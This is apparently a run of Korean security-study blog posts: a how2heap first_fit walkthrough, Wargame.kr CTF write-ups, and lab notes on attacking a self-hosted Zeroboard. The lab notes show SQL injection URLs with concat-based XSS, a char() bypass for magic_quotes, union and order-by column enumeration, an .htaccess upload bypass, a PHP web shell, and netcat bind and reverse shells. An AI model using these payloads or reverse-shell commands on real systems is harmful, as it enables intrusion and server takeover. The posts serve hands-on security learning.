how2heap의 첫번째 분석 자료는 first_fit 이다.
first fit이란 메모리 할당 전략 중 하나이다.

대표적으로 3가지가 있는데
first fit, best fit, worst fit 이 있다.

기본적으로 리눅스에서 heap 할당 관련해서는 first fit전략을 취하고 있다.

first fit이란 할당 가능한 메모리 영역을 발견하면 바로 할당하는 방식이다.
best fit은 internal fragment가 최대한 작게  딱 맞는 크기의 영역을 할당하는 방식이고
worst fit은 정반대로 최대한 널널한 영역을 할당하는 방식이다.

first fit 프로그램은 취약점을 보여주는 프로그램은 아니고
리눅스의 메모리 할당방식을 직접 보여주는 프로그램이다.

과정을 따라가며 분석해보겠다.



(메모리 할당)


 처음에 malloc을 통해 heap영역을 2개 할당한다.

a와 b에 할당을 해준다.



(메모리 할당 확인)



프로그램 실행시 확인해 볼 수 있다.
첫번째로 할당한 영역의 주소는 46010 이고 (뒷자리만 부를것이다.)

두번째로 할당한 영역의 주소는 46220 이었다.



(할당된 메모리 사용)


그리고 할당된 주소를 사용한다. a라는 주소에 문자열을 입력해준다.



(메모리 해제)



그리고, 메모리 할당을 free를 이용해 해제해준다.
그렇게 되면 현재 a에 할당된 주소인 46010 주소는 free된 상태이며 사용가능한 주소로
bin 구조에 들어가게 된다. 
리눅스에서는 haep영역의 메로리 할당과 해제를 bin을 통해 관리한다. 
나중에 heap영역 메모리 요청이 들어오면 이 bin 구조를 탐색한 후 메모리 할당을 해줄 것이다.

이 bin 구조는 사이즈에 따라 fast bin, small bin, unsorted bin 여러가지 종류로 구분되고
구조도 조금씩 다르다. 이에 대한 설명과 분석은 해당 취약점 분석때 자세히 하겠다.
이번 자료에서는 first fit에 초점을 맞춰보겠다.

다시 이어서 malloc을 해준다.



(malloc)


malloc을 통해 얻은 주소를 c에 넣어준다.

자 그렇게 되면 아까 해제(free) 되었던 주소가 c에 들어갈 것이다.
bin 구조에서 탐색하다가 사용가능한 영역을 발견하고 바로 아까 해제해주었던 영역을 할당해 주는 것이다.

확인을 위해 이번엔 방금 할당된 주소를 사용해본다.



(메모리 사용)



방금 할당 받은 주소에 C라는 문자열을 적는다.

그리고 a변수 처음에 할당되었던 주소가 담긴 변수와

c변수 방금 할당했던 주소가 담긴 변수를 주소값과 안에 담긴 문자열을 출력해본다.



(같은 주소)


결과는 처음 할당했던 주소가 46010이었는데 해제(free)해준 뒤 다시 malloc을 통해 받은 주소가 똑같은 46010이다. 그리고 그 안에 있는 문자열은 thist is C! 로 정확히 같은 주소라는 것을 보여준다.


'Vulnerability_Tech > About Heap' 카테고리의 다른 글

malloc의 사용가능 영역(HEAP)  (0) 2018.02.20
(how2heap) - house_of_spirit  (0) 2018.01.17
(how2heap) - unsafe_unlink  (0) 2018.01.13
(how2heap) - fastbin_dup_into_stack  (0) 2018.01.11
(how2heap) - fastbin_dup  (0) 2018.01.04


14번째 푼 문제이다.!

문제이름은 strcmp!
strcmp의 취약점을 이용한 문제이다.



(strcmp 문제)



문제 페이지이다.




(문제 페이지)



패스워드를 입력 칸이 하나있고 체크 버튼이 있다.

소스코드를 확인해보겠다.



(소스코드)



소스코드를 보니 POST방식으로 값을 전달한 것이 password와 비교하여 같으면 flag를 보여준다.

이것은 strcmp 함수의 취약점을 이용했다.
구글에 strcmp 까지 입력하니까 취약점이 연관검색어로 나왔다.
으음..

확인해보니 입력해보니 입력 인자로 배열이 들어가면 0을 반환하게 되어있다. 혹은 버젼에 따라 NULL을 리턴하는데 0이든 NULL이든 우리 문제에서는 == 로 비교하기 때문에 참이 되게 된다.

즉 입력으로 배열을 넣어주면된다.
POST방식이므로 버프슈트로 값을 변조해서 보내줄 것이다.




(값 변조)



password[] 배열을 보내주었다.




(문제 해결)



Flag를 얻을 수 있었다. ! :)


'WarGame > 500 Project' 카테고리의 다른 글

(16/500) Wargame.kr - ip log table  (0) 2017.04.20
(15/500) Wargame.kr - lonely guys  (0) 2017.04.18
(13/500) Wargame.kr - SimpleBoard  (0) 2017.04.16
(12/500) Wargame.kr - tmitter  (0) 2017.04.15
(11/500) Wargame.kr - type confusion  (0) 2017.04.15



11번째로 푼 문제이다.

제목은 타입 혼란??
type confusion



(type confusion)



문제 페이지는 아래와 같다.



(문제 페이지)




체크박스 하나있고 소스코드를 볼 수 있는 링크가 있다.

소스코드를 살펴보겠다.




(소스코드 분석)



소스코드를 정리하자면
POST방식으로 json 변수에 값을 넣어 전달해야하고
그 값의 key값이 페이지 내 생성된 key값과 같으면 flag가 나온다.

여기서 key값은 임의로 생성되므로 알아낼 길이 없다.
다만 비교연산자를 == 로 쓰는것을 보아 이 취약점을 이용하면 풀릴거라는 생각이 들었다.

전에 비교연산자로 인해 며칠을 고민했던 터라 이번 문제는 쉽게 풀 수 있었다.

바로 ==로 비교할때 문자는 0으로 변환되기 때문에 숫자 0과 비교하면 참이 나온다.


(비교 참)



그렇다면 나는 key에 0을 넣어 json 인코딩해서 넣어주면 된다!



(json 인코딩)



그런데 POST라면서 보낼 폼이 없다... 저기 체크박스도 name이 다르게 설정되어 안된다..

그래서 내가 만들어서 보냈다.




(son 값 보내기 폼)



만든 폼을
관리자모드에서 적어주어 폼을 보내준다.



(폼 작성)





(보내기)



보내면 flag가 나오고 문제가 풀린다! :)



(문제 해결)


'WarGame > 500 Project' 카테고리의 다른 글

(13/500) Wargame.kr - SimpleBoard  (0) 2017.04.16
(12/500) Wargame.kr - tmitter  (0) 2017.04.15
(10/500) Wargame.kr - md5 password  (0) 2017.04.14
(9/500) Wargame.kr - md5_compare  (0) 2017.04.13
(8/500) Wargame.kr - fly me to the moon  (0) 2017.04.13


10번째 푼 문제이다! 

이름은 md5 password 이다.


(md5 password)



아래는 문제 페이지이다.




(문제 페이지)



비밀번호를 입력하는 칸이 하나 나온다.

소스코드를 보면 해시된 값을 넣어 테이블에서 select 검색을 한다.
그런데 조금 이상한 점이 있다.



(소스코드)



바로 md5 해시 함수에서 2번째 인자로 true를 주었다는 것이다.

기본적으로 디폴트 값은 default 이다.
이 값이 true로 넘어가게 되면 출력이 바이너리로 출력되게 된다. 근데 이게 바로 취약할 수 있다는 것이다. 해시 되는 과정에서 ' (싱글쿼터) 등 공격자가 필요한 특수문자를 만들어낼 수 있기 때문이다.

우리가 원하는 값은 '=' 이 값이 있으면 된다. 왜냐?
쿼리문장에서 where password='sdfds'='gfgfg' 
이런식으로 만들어주어 이렇게 되면 참으로 출력이되어 모든 값이 출력되기 때문이다.

예를들어 아래와 같이


(원하는 해시값)



우리가 원하는 해시값이다.

이렇게 나오는 저 값을 입력하게 되면 로그인이 되고 플래그가 나오게 된다.



(문제 해결)


'WarGame > 500 Project' 카테고리의 다른 글

(12/500) Wargame.kr - tmitter  (0) 2017.04.15
(11/500) Wargame.kr - type confusion  (0) 2017.04.15
(9/500) Wargame.kr - md5_compare  (0) 2017.04.13
(8/500) Wargame.kr - fly me to the moon  (0) 2017.04.13
(7/500) Wargame.kr - WTF_CODE  (0) 2017.04.12

저번 글 마지막에서
SQL 인젝션을 막아보았다.
바로 magic_quotes_gpc 설정을 통해서인데
한번 어떻게 막아지나 다시한번 확인해 보겠다.

게시글 내용을 sql injection test글로 수정하는 쿼리로 조작해서
url입력을 한다. 



(SQL Injection)



결과는 물론 실행되지 않았고
로그를 통해 어떤 SQL 명령이 전달되었는지 확인해보자



(로그 확인)



전달된 SQL 명령을 확인해보니 문자열 앞 ' 작은따옴표 앞에 \(역슬래쉬) 가 붙은 걸 확인 할 수 있다.

바로 escape 문자인데 문자열을 나타내는 ' 작은 따옴표의 역할을 벗어나 문자 따옴표 역할을 하게 한다. -> 그렇게 되어 뒷부분이 SQL 명령 문법에 오류로 처리가 되어 SQL 명령이 실행되지 않는 것이다.

이러한 필터링을 우회하는 방법이 있을까?
=> 이러한 필터링은 문자열이 입력되지 못하게 하는 것이다.

* 우회 방법
1) 필터링 되고 있는 문자에 대해서 다른 문자로 대체 가능한 문자를 찾는다.

2) 문자열을 표현하는 또 다른 방법을 이용하는 것이다.
-> mysqld의 내장함수를 이용하는 방법이 있다. (char함수 이용)

char() -> 아스키 코드를 바꿔주는 char 내장함수를 사용하면 ' , " 를 사용하지 않고도 문자열을 입력할 수 있다.

MySQL에서 적용이 되는지 확인해 보겠다.
먼저 char() 함수를 이용하여 문자열이 출력 가능할까?



(문자열 출력)



-> 문자열 출력이 가능하다.

'sql injection haha' 이라는 문자열이 출력 될 수 있도록
아스키코드표를 참고해서 적어준다.
SQL Injection에 사용될 url이다. 



(SQL Injection)



실행 후 로그를 확인해보았다.



(로그)



로그를 보니 우리가 원하는 대로 SQL 명령이 전달 된 것을 확인 할 수 있다.

공격이 잘 성공 됬다면 게시판의 모든 글이 sql injection haha로 바뀌었을 것이다.
뒤에 우리가 where 조건 절을 안주었기 때문에 모든 글에 적용 되었을 것이고
concat을 사용하지 않았기 때문에 글 전체가 바뀌었을 것이다.

확인해보면



(결과)




(결과)



모든 글이 우리가 입력한 문자열로 모두 바뀐 것을 확인 할 수 있다.

그렇다면 이 우회방법을 이용하여 스크립트도 추가할 수 있을까?



(추가할 스크립트)



추가할 스크립트를 아스키코드로 바꾸어 놓았다.

아까와 같이 하지만 우리는 이번에 전체 글이 아니라 19번 글만 적용시킬 것이다. 왜냐하면
전체글에서 팝업창이 뜨면 귀찮을거 같기 때문에...



(SQL Injection url)



실행해보니 19번 글을 클릭할 때 XSS 스크립트가 실행되었다.



(XSS 공격)



소스코드를 보니



(소스코드)



XSS 스크립트가 추가된 것을 확인 할 수 있다.

이렇게 SQL Injection은 XSS 공격에도 이용할 수 있을 만큼 강력한 취약점이다.

이번에 다뤄볼 내용은 Blind SQL Injection이다.

* Blind SQL Injection
-> 소스코드 없이 오직 페이지에 있는 코드 혹은 SQL 명령들의 결과로부터만 공격을 하는 것이다.
-> DB에 들어있는 데이터 중에서 블라인드 데이터, 화면에 보여지지 않는 데이터들을 노출시키는 공격이다.
지금 까지는 우리가 서버에 들어가서 소스코드를 분석하면서 취약점을 분석하였다.
하지만 이번에는 오직 웹 브라우저를 통해서 공격하는 것이다.

먼저 이 공격에 대해 이해하기 위해
Blind Injection에 아주아주 취약한 웹페이지를 만들어보고 그 페이지를 대상으로 공격을 해보겠다.

1) 테스트용 DB
 DB : blind
 table 3개가 필요하다.
 - news: no, title, news
 - fnews: no, title, news, bigo
 - anews : no, title



(DB 생성)




(테이블 생성)




(적절한 데이터 입력)



DB 생성, 테이블 생성, 적절한 데이터까지 몇개 입력해보았다.

이제 이 DB를 이용해 간단한 그리고 취약한 PHP 페이지를 만들것이다.



(PHP 페이지 코드)



웹 페이지에서 확인해보면
no변수를 GET 방식을 통해 전달받으면서 해당 no의 글을 화면에 보여주는 페이지이다.



(웹 페이지 모습)



취약점의 존재 확인방법 : 참 or 거짓을 이용한다.
 1) and 1=1 , and 'a'='a',  and 1  , true false 사용 가능, && 기호(url인코딩값) 사용 가능  (참 이용)
 2) and 1=2, and 0, and False,   (거짓 이용)
 3) or 1=1  ,  || 기호 사용 가능(url인코딩사용해야한다.)
 4) or 1=2
참일 경우 화면에 보여지지만, 거짓일 경우에는 화면에 보여지지 않을 것이다.




(참)




(거짓)



이러한 명령들을 로그에서도 확인해 볼 수 있다.



(로그)



혹은 no의 변수에 1 || 1  을 입력하게 되면
뒤에 1이 항상 참이기 때문에 no=1의 글만이 아닌 1을 포함해서 모든 글을 가져오게 된다.



(1=1 입력)



이렇듯
입력값 조작 을 통해 화면이 다르게 나오면 인젝션 취약점을 의심해 볼 수 있다.
=> 입력값에 의해 쿼리가 사용된다는 것을 의심해 볼 수 있다.

그렇다면 조작할 수 있는 것은 알겠는데
이로써 다른 데이터들을 보려고 한다면 no변수에 입력을 통해 추가적으로 다른 테이블을 검색할 수 있어야한다.
즉, 2개 이상의 쿼리문을 실행시킬 수 있어야한다.
어떻게?

1). ; 을 이용한 방법
; (세미콜론)을 이용하면 여러개의 명령을 동시에 실행 시킬 수 있다.



(두개의 명령 실행)



검색 결과가 2개가 나온 것을 확인 할 수 있다.

하지만 안타깝게도 이 방법은 현재 우리 코드에서 적용하지 못한다. 이유는...
우리가 mysql_query() 함수를 사용하는데 이는 단일 쿼리만 가능하도록 되있는 함수이기 때문이다..
다른데서는 가능할 수 도 있지만, 우리에게는 사용할 수 없다ㅜ

2). union 을 이용한 방법 (이거는 select에서만 사용 가능하다.)
union을 이용하면 추가적인 select 명령을 할 수 있다.



(union 사용)



사용 화면에 보다시피 한테이블에 합쳐져서 나온다.

그렇기 때문에 예상할 수 있는 오류가 있다.
만약 두 개의 쿼리에서 찾는 테이블의 컬럼의 수가 일치하지 않으면??



(에러 모습)



에러가 난다~
news는 컬럼이 3개 이기 때문에 fnews 테이블을 컬럼 3개만 맞춰서 select 명령을 실행 할 수 밖에 없다.
무조건 앞에 있는 테이블을 기준으로 컬럼을 맞춰야한다.



(컬럼 일치시키기)



그렇다면 anews 처럼 2개 밖에없으면??
즉, news 보다 더 적은 테이블을 검색한다면 어떨까?



(오류)



물론 오류난다..

이를 해결하기 위해서는 컬럼을 일치시키기위해 아무값이나 추가해서 컬럼을 추가한다.



(컬럼 일치시키기)



바로~ 이러한 특성을 이용하여
보이지 않는? 테이블의 컬럼의 수를 맞출 수 있다.
현재 우리는 우리가 테이블을 만들었기 때문에 컬럼의 수를 알고 있지만
Blind SQL Injection이다.

우리에게 주어진건 웹페이지 뿐이다.!
이 때 이 화면에 보여지는 테이블의 컬럼의 수 정보를 알아내는 것은
매우 중요하다.
왜냐하면 뒤에 union을 사용하여 추가적인 다른 테이블을 검색해볼것인데
union을 사용하려면 앞의 테이블의 컬럼 수와 일치시켜야하기 때문이다.!

그렇다면 현재 페이지의 DB 컬럼 수를 맞추기 부터 해보자!

* 컬럼의 개수를 아는 방법
컬럼 개수를 아는 방법은 여러가지가 있다.
1. 찍기. (다해보기)
-> 무식한 방법일 수 있지만 확실한 방법이다.

union select 1
union select 1, 2
union select 1, 2, 3
...
쭉 다 해본다.
그렇게 되서 화면에 내용이 나오게되면 바로 그 만큼의 개수가 존재 한다는 것이다.
원리는 위에서 union 할 때 앞의 컬럼의 수와 일치하는 컬럼의 수를 입력해야 된다는 것이다.



(컬럼 수 맞추기)



컬럼 수가 3개 이기 때문에 1, 2, 3 이렇게 3개의 값을 컬럼 정보에 넣었을 때 데이터가 보인다.


(그렇지 않은 경우)



그렇지 않은 경우 SQL 명령에서 오류가 나기때문에 화면에 아무 내용도 보이지 않게 된다.

2) order by 를 이용한 방법
-> 2진 탐색을 이용할 수 있는 방법이다.

select 에서 order by를 이용하면 컬럼의 정보로 정렬을 할 수 있다.



(사용 예시)



그런데 이걸 바로 숫자입력?으로도 정렬을 할 수 있다.



(order by 1)



이 방법의 원리는 이렇다.
=> orber by 10 으로 했는데 안나왔다. -> 컬럼이 10개보다 적다.
 => order by 2 로 했는데 나왔다. -> 컬럼이 2개보다 많다는 뜻이다.




(order by 방법)



이렇게 컬럼의 수를 맞추는 방법까지 알아보았다.

이제 다음 포스트 글에서는 Guessing을 이용해 DB 정보에 더 다가가는 방법에 대해
알아보겠다
:)




오늘은
제로보드의 SQL 취약점을 살펴볼 것이다.

그 중에서 PHP File Download 취약점을 살펴 볼 것이다.

지난 글에서 만들었던 게시판에서 글을 확인해 보면
다운로드 옆에 숫자가 보이는데
다운로드 횟수를 보여준다.



(다운로드 횟수)



바로 이 횟수가 DB에 저장된 값 중 하나인데
이 페이지의 소스코드를 분석해보자

다운로드를 클릭하면 download.php 파일로 이동하는 것을 확인 할 수 있다.



(download.php 파일 이동)



download.php?id=gogo_test&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword

=&prev_no=&select_arrange=headnum&desc=asc&no=19&filenum=1
코드를 보면 download.php 파일로 GET방식으로 변수들의 값을 가져가고 있는 것을 확인 할 수 있다.

그렇다면 download.php 파일을 확인해보자.



(download.php 파일)



소스 코드를 보면 44번 행에
mysql_query를 볼 수 있다.



(SQL 구문)



mysql_query("update $t_board"."_$id set douwnload".$filenum."=download".$filenum."+1 where no='$no'");
이 구문인데 실행될 떄 어떤 SQL이 만들어져서 보내지는지 확인해 보겠다.
먼저 $t_board 변수인데
download.php 페이지에서는 이 변수를 정의하고 있지 않다.
대신
이 페이지의 위 쪽에 코드를 보면
require "lib.php";  에서
즉 lib.php에서 이 변수를 정의하고 있는 것을 확인 할 수 있었다.



(lib.php 에서 정의)



확인한 결과
lib.php 39번라인에서 $t_board = "zetyx_board";로 정의 되어있었다.

또 나머지 변수는 GET 방식에서 넘어오는 변수들인 것을 확인 할 수 있다.
$id=gogo_test
 $filenum=1
 $no=19

즉, 이 값들을 토대로 해서
어떤 쿼리가 전송되는지 조합해보면
update zetyx_board_gogo_test set download1=download1+1 where no='19';
이러한 쿼리가 만들어져서 보내지는 것을 확인 할 수 있다.

실제로 이런 쿼리가 만들어지는지 확인해보자

먼저
SQL 로그를 기록되게 하기위해서 실행중인 SQL을 끄고 다시 실행하도록 하자.



(sql 종료)



종료 후 옵션을 걸어서 실행해 줄 것이다.

#> mysqld_safe --log=query.log &
로 실행하게 되면
로그가 기록되게 된다.



(로그 기록 실행)



기록되는 로그의 위치는
/var/lib/mysql 에 있는
query.log 파일이다.



(로그 파일 확인)



로그 파일을 열어둔채 다시 다운로드를 클릭하면
아래와 같이 로그가 기록되는 것을 확인 할 수 있다.



(로그 확인)



로그를 보면 우리가 예상했던 update 구문이 정확히 일치한다는 것을 볼 수 있다.
우리의 생각이 맞았던 것이다.

자 그렇게되면
우리가 조작할 수 있는 값은 3개
이 3개로 SQL구문을 Injection 할 수 있다는 것이다.

예를 들어 id변수를 hello로 바꿀 수 있다.



(SQL Injection)




(결과 화면)




그 결과 hello라는 게시판이 없어서 이런 페이지가 나왔고
아무 일이 이러나지 않았다.

두번 째로 no변수를 1로 바꾸어 보았다.




(no 변조)




no 1의 게시 다운로드1 의 횟수가 1 추가되었는지 확인해보자

mysql에 들어가서 아래와 같이 확인해본다.



(확인)



(1 추가)



확인해본 결과 1이 증가했다는 것을 볼 수 있다.

그렇다면 마지막으로 filenum?
$filenum=1=100
으로 하면 어떻게 될까?
그렇게 되면
update zetyx_board_gogo_test set download1=100=download1=100+1 where no='19';
이 되게 되고 문법에 맞지 않아 실행이 되지 않는다.
하지만 이러한 변조는 아마 눈치 챘을 거라 생각한다.
바로 다운로드 횟수 100으로 바꿀 수 있다는 가능성이 있다는 것이다.



(다운로드 회수 100 조작)



하지만 뒤에 문법이 맞지 않는다는 것이 문제다.
그렇다면 뒷 부분을 주석처리할 수 있다면?
주석 : --, /* */, #
예를 들어
update zetyx_board_gogo_test set download1=100#=download1=100#+1 where no='19';
이렇게 되게 하기 위하여
filenum에다가 1=100# 을 넣는다면
뒷부분은 주석처리 되고 다운로드1의 횟수가 100이 되는 SQL 명령이 된다.



(SQL Injection)




(실행 결과)



실행 결과 로그를 확인해보니 #이 빠져있다..!
바로 URL에서 입력할 때 특수 문자는 URL Encoding이 되기 때문이다.

* URL encoding
 - URL에서 사용하는 특수문자
 - 공백: +, %20 (아스키 코드)
 - 문자에 해당하는 아스키코드 앞에 %를 붙여주면된다.
 # -> %23

그렇기 때문에 주석 처리를 위한 # 대신에 %23을 사용한다면?



(%23 사용)



결과 다운로드 수가 100으로 적용된 것을 볼 수 있다.



(100 적용)



그리고 뒤에 where 조건이 없었으므로 아마 모든 글의
다운로드1 횟수가 100으로 됬을 것이다.



(100으로 적용됨)



이 때 사용된 쿼리문을 로그에서 확인해보면



(쿼리 확인)



#이 아까처럼 사라지지 않고
남아서 주석처리 역할을 한것을 볼 수 있다.


그렇다면~?
이러한 SQL Injection을 이용해 XSS공격을 할 수 있을까?
예를들어 update구문을 이용해 게시글에 스크립트를 추가하도록 하는 것이다.
그렇게 되면 스크립트 차단을 해놨어도 우회할 수 있는 길이 생기게 된다.

먼저 게시글이 DB의 어떤 컬럼에 저장되는지 확인한다.



(게시글 내용)



확인해본 결과 게시글은 memo라는 컬럼에 데이터가 저장되는 것을 확인 할 수 있다.

우리는 그냥 update를 사용하면 원래 글 내용이 사라지므로
원래 글 뒷부분에 스크립트를 추가해보겠다.

이를 위해 concat이라는 함수가 있다.
바로 문자열을 연결해주는 함수이다.



(concat)



위 처럼 문자열을 연결해주는 역할을 한다.

우리는 이것을 이용하여
concat(memo, '스크립트') 를 사용할 것이다.

그렇게 되면 아래와 같은 url이 나온다.



(공격에 사용된 url)



실제 적용해보면
예상되는 쿼리는
update zetyx_board_gogo_test set download1=100, memo=concat(memo, '<script>alert(\'attack!!\') </script>')  #=download1=100#+1 where no='19';
이렇다.
게시글 뒷부분에 스크립트 코드가 추가되는 것이다.



(SQL Injection 실행)



실행 후 로그를 확인해보면



(로그 확인)



우리가 예상한 대로 SQL 명령이 전달 된 것을 확인 할 수 있다.

우리가 where 조건을 주지 않았기 때문에
모든 글에 스크립트가 들어가서


(XSS 공격)



XSS 공격 팝업 창이 뜰 것이다.

게시글의 코드를 확인해보면



(스크립트 코드 추가)



스크립트 코드가 추가된 것을 확인 할 수 있다.


간단하게 이러한 Injection을 막기 위해
magic_quotes_gpc 라는 설정을 켜둔다. GPC(Get, Post, Cookie)
하지만 5.4버전부터 이 설정이 사라져있다. (성능 때문에)

설정의 vi /etc/php.ini
파일에서 483번 라인을 On 해주면 된다.



(설정)



이렇게 되면 문자열 입력이 안된다.
한번 해보겠다.
단순히
download.php?id=gogo_test&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword

=&prev_no=&select_arrange=headnum&desc=asc&no=19&filenum=1=100,%20me

mo=concat(memo,'injection test !')%20%23
이렇게 게시글에 injection test! 문자열을 추가해볼것이다.



(SQL Injection)



실행 후 SQL 로그를 확인해 보면




(로그 확인)




' 쿼터 앞에 \ (역슬래쉬)가 붙은 것을 볼 수 있다.
그래서 '가 문자열의 역할을 못하게 되어 SQL Injection이 되지 않았다.

=> 문자열 인젝션은 따옴표를 적어줘야하는데
여기서 magic_quotes_gpc 설정을 해주면 문자열 따옴표가 escape되서
문자열을 나타내지 못하게 된다.
그러므로 문자열 인젝션이 불가능하게 된다.
하지만 이걸 켜주게 되면
모든 입력에 대해 전부 체크하게 된다.
-> 쿼리문이 없더라도 입력값을 전부 체크하기 때문에 성능이 떨어지게 된다.
그렇기 때문에 사라진 것이다. 만들때 함수를 이용하여 체크할 수 있도록 해둔 것이다.
=> 설정에서 빠진 이유이다.




저번 글에서 파일 업로드 취약점을 공략하다가
.php 파일 확장자 업로드에서 막혀있었다.

오늘은 이러한 경우 우회할 수 있다는 가능성을 이해해보겠다.

저번 글에서 로컬설정 파일에 대한 이해가 되었다면
.htaccess 파일을 떠올릴 수 있을 것이다.

우리는 .htaccess 파일로 추가적인 설정을 해줄 것이다.
게시판에 업로드하면 data 폴더에 저장되는 것 또한 확인을 하였으니
data 폴더에 .htaccess 파일을 업로드하면 그 폴더 안에서 우리가 원하는 확장자를 php로 실행 시킬 수 있을 것이다.

우리는 .abc 라는 확장자가 php로 실행 될 수 있도록
AddHandler php5-script .abc
AddType text/html .abc
코드를 작성한 .htaccess 파일을 올릴 것이다.



(.htaccess 파일 작성)



(.htaccess 파일 생성)



자 이제 php로 실행이 되는지
php 코드를 작성해서 attack.abc를 올려보겠다.



(attack.abc 파일 작성)



아래와 같은 파일을 준비한다.



(준비 파일)



그리고 이 두 파일을 업로드 시켜준다.

업로드 되면
/data 폴더에 들어있을 것이므로
이제 /data 폴더에서 우리가 올렸던 attack.abc를 열어준다.



(attack.abc 실행)



(실행 된 모습)



확인해보니
php 파일이 실행되었다!

이로써 웹에 대한 충분한 이해가 있으면
취약점을 우회하는 방법도 여러가지 찾을 수 있다는 것을 알게 되었다.
앞으로 공부할 목표는 웹 취약점이라기 보다 웹에 대한 이해라고 보면 된다.


그렇다면 우리가 작성한 php 파일을 올린게 왜 치명적인걸까?
우리가 만든 php파일을 서버에 올릴 수 있다면
우리가 서버에 관해 못할게 없어진다.
그 가능성을 확인해 보겠다.

이제 웹 쉘이라는 개념을 이해해보자.
우리가 앞서 알아본 취약점을 공략하기 위해서 필요한 것은
입력할 곳. 이다.
다시 말하면
명령을 입력할 곳
바로 이게 쉘인데 웹 상에서 명령을 입력할 곳 이라는 의미로
웹쉘 이라고 불린다.

우리가 알아볼 것은 원격 쉘이다. 당연히 우리가 서버실에 잡입 침투하지 않을 것이므로 로컬 쉘에 대한 이야기는 아니다.

원격 쉘에 종류는 많지만 대표적으로 3가지가 있다.
1. 웹쉘
2. 바인드 쉘
3. 리버스 쉘

1. 웹쉘이란
웹에서 명령을 실행하는 것이다.
간단하게 웹쉘을 확인해 보겠다. (아주 간단히)

우리가 php코드를 올릴 수 있다는 것을 이용하여
아래와 같은 코드를 만들어 올린다고 해보자.


(웹 쉘 코드)



이 코드를 잘 보면 GET방식으로 받은 변수를
system 함수로 넘겨주고 있다.
즉 우리는 url을 통해 명령을 전달 할 수 있다.

확인을 위하여
이 파일을 업로드 해보겠다.


(웹쉘 테스트 파일)




업로드 후
cmd변수에 ls 명령을 전달했다.



(웹 쉘 확인)



ls 는 폴더 리스트를 확인하는 명령어인데
data 폴더에 있는 파일 리스트가 나오는 것을 확인 할 수 있다.

바로 이런 것이 웹 쉘이다.

2. 바인드 쉘
- 기본적으로 바인드 쉘은 TCP 통신을 이용한다.
정확히 말하면 원격 쉘은 TCP 통신을 주로 한다.
우리는 바인드 쉘을 확인하기 위하여 TCP통신을 하는 netcat이라는 프로그램을 이용할 것이다.

먼저
netcat을 실행해보겠다.
먼저 서버에서
#> ncat -l 12345
12345는 포트 번호이다. 열어줄 포트번호를 적어주면 된다.



(포트 개방)



그 후 윈도우 호스트에서
Desktop> nc.exe 100.100.100.129 12345
접속할 IP와 포트번호를 적어주면 된다.



(ncat 접속)



접속후 문자를 입력하면 문자열이
전송된다.


(문자열 전송)



기본적으로 이렇게 문자열을 전송하지만 옵션을 달리하여 이번에는
쉘을 연결해보겠다.
서버에서
#> ncat -e "/bin/sh" -l 12345
명령으로 포트를 열어준다.



(포트 개방)



그 후
윈도우 호스트에서
Desktop> nc.exe 100.100.100.129 12345
로 접속해준다.



(접속)



접속후 ls 라든가
기본 명령어를 입력하면
원격으로 쉘을 사용할 수 있게 된다.
바로! 이게 바인드 쉘이다.

3. 리버스 쉘
리버스 쉘이 나온 이유는 방화벽을 우회하기 위해서이다.
보통 서버에서 열어두어도 우리가 접속할 때 inbound 정책에 의하여
막히는 경우가 많다.
하지만 outbound 정책은 그렇게 심하지 않기 때문에 이 점을 이용한 것이다.
서버에서 우리한테 연결 요청을 하도록 하는 것이다.

바인드 쉘과 순서가 바뀐 것이다.
먼저 윈도우 호스트에서 포트를 열어주고
Desktop> nc.exe -l -p 12121



(포트 개방)



그 후 서버에서
# ncat -e "/bin/sh" 192.168.3.228 12121
을 이용하여 요청하게 하는 것이다.


(서버의 요청)



그러면 아까와 같이 쉘이 연결되어
원격 쉘을 사용할 수 있게 된다.



(원격 쉘 사용)



바로 이게 리버스 쉘이다.


리버스 쉘이 우리가 직접 서버에서 연결을 시켜줘서
간혹 이게 왜 취약한거지? 라고 생각이 들 수 있다.
하지만 웹쉘과 리버스 쉘을 같이 이용한다면???
이번엔 우리가 서버를 만지지 않고 쉘을 획득해보겠다.

먼저 윈도우 공격자의 호스트 포트를 열어준다.



(포트 개방)




그 후 아까 우리가 업로드 했던 웹 쉘을 이용하여
cmd 변수에
ncat -e "/bin/sh" 192.168.3.21 12121
우리의 IP 주소와 우리가 열었던 포트번호를 입력하여
넘겨준다.



(웹쉘 사용)



그렇게 되면
우리는 아까와 같이 리버스 쉘이 적용되어
원격 쉘을 이용할 수 있게 된다.


(원격 쉘 접속)




이렇듯
우리가 만든 php 파일이 웹 서버에 올릴 수 있다는 것은
엄청난 취약점이 된다.
이를 통해 시스템까지 침투할 수 있기 때문이다.




해킹의 공격은 서버측에서의 악성코드 실행으로 이루어 질 수도 있다.
쉽게 말하면
악성코드, 파일을 만들어서 서버에 저장하고 서버에서 실행을 하여 공격하는 것이다.

이게 말이 될까?
어떻게 서버에 내가 파일을 저장하지?
사실 우리는 아주 흔하게 그런 일을 하고 있다.
바로 업로드 기능이다.
게시판 혹은 웹 상에 우리의 사진 혹은 파일을 올려본 적이 있을 것이다.
이렇게 되면 우리가 올린 파일이 서버에 저장이 되고
다른 사람들이 그 파일을 받는 것이다.

나쁜 해커들은 바로 이런 순수한 기능을 이용해 공격을 한다.
바로 악성 PHP파일을 업로드 시키고 그 파일을 실행시키는 것이다.
이러한 공격이 이루어 질 수 있는 조건이 있다.
1. PHP파일이 웹 서버에 존재한다.(업로드 가능, 혹은 어떤 방법으로든)
2. 그 PHP파일을 웹브라우저에서 접근할 수 있다.(직접참조 가능하다.)

이렇게 되면 나쁜 해커는 웹 브라우저에서 PHP파일을 접근하여 실행시키는 것이다.

이러한 공격과정을 살펴보기 위해 업로드 기능을 이해해보자.

우리는 먼저 PHP파일이 아닌 일반적인 사진 jpg 파일을 업로드 해볼 것이다.




(업로드 할 사진)




우리가 만든 제로보드에 보노보노를 업로드 해본다 :)



(보노보노 업로드)




(업로드 된 화면)



보노보노가 게시판에 업로드 되었다.

그렇다면 이 사진파일은 웹 서버 어디에 존재하는 걸까?

F12 키를 눌러 코드를 볼 수 있는데 여기에 이미지의 경로가 나온다.
바로 data/ 폴더에 있다는 것을 알 수 있다. :)



(파일 경로)




제로보드 폴더의 /data 폴더에 들어가보니
보노보노가 있다 :)



(파일 존재)




그렇다면 두 번째 조건인 웹브라우저에서 직접 참조가 가능할까?
웹브라우저에 파일의 경로로 접근해 보았다.




(파일 접근)




(실행 화면)




보노보노 사진에 직접 접근이 가능하였고
실행까지 된 모습이다.

즉, 두 조건이 성립하고 나쁜해커가 존재한다면 공격을 할 수 있는 부분이다.

